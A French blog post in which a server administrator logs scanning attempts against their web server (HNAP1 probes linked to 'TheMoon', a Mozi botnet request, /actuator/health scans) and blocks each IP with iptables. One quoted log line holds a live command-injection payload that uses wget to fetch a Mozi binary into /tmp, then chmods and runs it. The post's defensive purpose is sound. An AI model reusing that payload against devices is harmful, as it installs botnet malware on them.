Faille securité : malware surnommé « THE MOON » sur Linksys.

Voici un exemple de trace sur mon serveur :

50.31.21.6 - - [14/Oct/2021:02:02:15 +0200] "GET / HTTP/1.0" 302 5156 "-" "-"
50.31.21.6 - - [14/Oct/2021:02:02:48 +0200] "HEAD / HTTP/1.1" 302 4938 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko"
50.31.21.6 - - [14/Oct/2021:02:02:48 +0200] "GET /nmaplowercheck1634169768 HTTP/1.1" 302 5145 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko"
50.31.21.6 - - [14/Oct/2021:02:02:48 +0200] "POST /sdk HTTP/1.1" 302 4957 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko"
50.31.21.6 - - [14/Oct/2021:02:02:48 +0200] "GET / HTTP/1.0" 302 5156 "-" "-"
50.31.21.6 - - [14/Oct/2021:02:02:49 +0200] "GET /HNAP1 HTTP/1.1" 302 5145 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko"
50.31.21.6 - - [14/Oct/2021:02:02:49 +0200] "GET / HTTP/1.1" 302 5126 "-" "-"
50.31.21.6 - - [14/Oct/2021:02:02:49 +0200] "HEAD /user/auth/login HTTP/1.1" 200 6095 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko"
50.31.21.6 - - [14/Oct/2021:02:02:49 +0200] "GET /evox/about HTTP/1.1" 302 5145 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko"
50.31.21.6 - - [14/Oct/2021:02:02:49 +0200] "GET /user/auth/login HTTP/1.1" 200 29756 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko"

La signature c’est surtout : « GET /HNAP1 HTTP/1.1 »

Mon action :

# iptables -A INPUT -s 50.31.21.6 -j DROP
# /usr/sbin/iptables-save > /etc/iptables/rules.v4

Plus d’information sur l’IP :

IP Address Country Region City
50.31.21.6 United States of America Illinois Chicago
ISP Organization Latitude Longitude
SteadFast Not Available 41.8761 -87.6521

A noter que c’est visiblement pas la première attaque du type :

134.255.233.173 - - [13/Oct/2021:18:55:13 +0200] "POST /HNAP1/ HTTP/1.1" 302 255 "-" "Mozila/5.0"
192.168.1.153 - - [13/Oct/2021:21:25:40 +0200] "GET /HNAP1/ HTTP/1.1" 302 404 "-" "Avast Antivirus"
112.27.124.140 - - [30/Oct/2020:22:40:00 +0100] "POST /HNAP1/ HTTP/1.0" 408 484 "-" "-"
45.6.195.248 - - [31/Oct/2020:00:23:21 +0100] "POST /HNAP1/ HTTP/1.0" 408 484 "-" "-"

Misère.

Faille de securité sur « wget » via http ?

J’ai pu voir dans mes logs :

125.43.243.4 - - [14/Oct/2021:12:53:13 +0200] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 0 "-" "-"

J’ai donc filtré l’IP :

# iptables -A INPUT -s 125.43.243.4 -j DROP
# /usr/sbin/iptables-save > /etc/iptables/rules.v4

Misère.

IP Address Country Region City
125.43.243.4 China Henan Jiaozuo
ISP Organization Latitude Longitude
China Unicom Henan Province Network Not Available 35.2397 113.2331

Faille de sécurité sur « \x03 » ou « \x16\x03\x01 » en HTTP ?!

J’ai pu observer des requetes de ce type :

45.146.166.156 - - [14/Oct/2021:11:42:23 +0200] "\x03" 400 0 "-" "-"
89.248.165.23 - - [13/Oct/2021:05:43:09 +0200] "\x03" 400 0 "-" "-"
45.141.87.54 - - [13/Oct/2021:18:52:16 +0200] "\x03" 400 0 "-" "-"

Dans le route je bloque donc les IP :

# iptables -A INPUT -s 45.146.166.156  -j DROP
# iptables -A INPUT -s 89.248.165.23  -j DROP
# iptables -A INPUT -s 45.141.87.54  -j DROP
# /usr/sbin/iptables-save > /etc/iptables/rules.v4

A suivre.

A noter, que quand c’est Russian Federation c’est pas pour mon bien … Misère :

IP Address Country Region City
45.141.87.54 Russian Federation Sankt-Peterburg Saint Petersburg
IP Address Country Region City
45.146.166.156 Russian Federation Moskva Moscow

Update, je pense qu’il y a plusieurs requetes :

# grep '\x03' /var/log/apache2/access.* | sed 's/:/ /g' | awk '{print $2 " " $10}' | sort -n | uniq -c
      1 45.141.87.54 "\x03"
      1 45.146.166.156 "\x03"
      1 89.248.165.23 "\x03"
      4 121.46.25.189 "\x16\x03\x01"
      1 183.136.225.42 "\x16\x03\x01\x02"
      3 185.193.88.50 "\x03"
      2 200.37.200.185 "\x16\x03\x01"

Pour les IP :

IP Address Country Region City
200.37.200.185 Peru Cusco Cusco
ISP Organization Latitude Longitude
Zotac Tacna Not Available -13.5183 -71.9781
IP Address Country Region City
183.136.225.42 China Zhejiang Jiaxing
ISP Organization Latitude Longitude
ChinaNet Zhejiang Province Network Not Available 30.7522 120.7500
IP Address Country Region City
121.46.25.189 China Guangdong Guangzhou
ISP Organization Latitude Longitude
Guangdong Aofei Data Technology Co. Ltd. Not Available 23.1167 113.2500

Faille de sécurité sur /actuator/health ?! ( Baeldung ?!)

J’observe des scans sur /actuator/health  , par exemple :

192.241.204.32 - - [14/Oct/2021:09:25:02 +0200] "GET /actuator/health HTTP/1.1" 302 4947 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.123 - - [13/Oct/2021:09:23:33 +0200] "GET /actuator/health HTTP/1.1" 302 4947 "-" "Mozilla/5.0 zgrab/0.x"

Si je regarde les IP cela vient des US … donc je filtre :

# iptables -A INPUT -s 192.241.204.32 -j DROP
# iptables -A INPUT -s 192.241.198.123  -j DROP
# /usr/sbin/iptables-save > /etc/iptables/rules.v4

A suivre.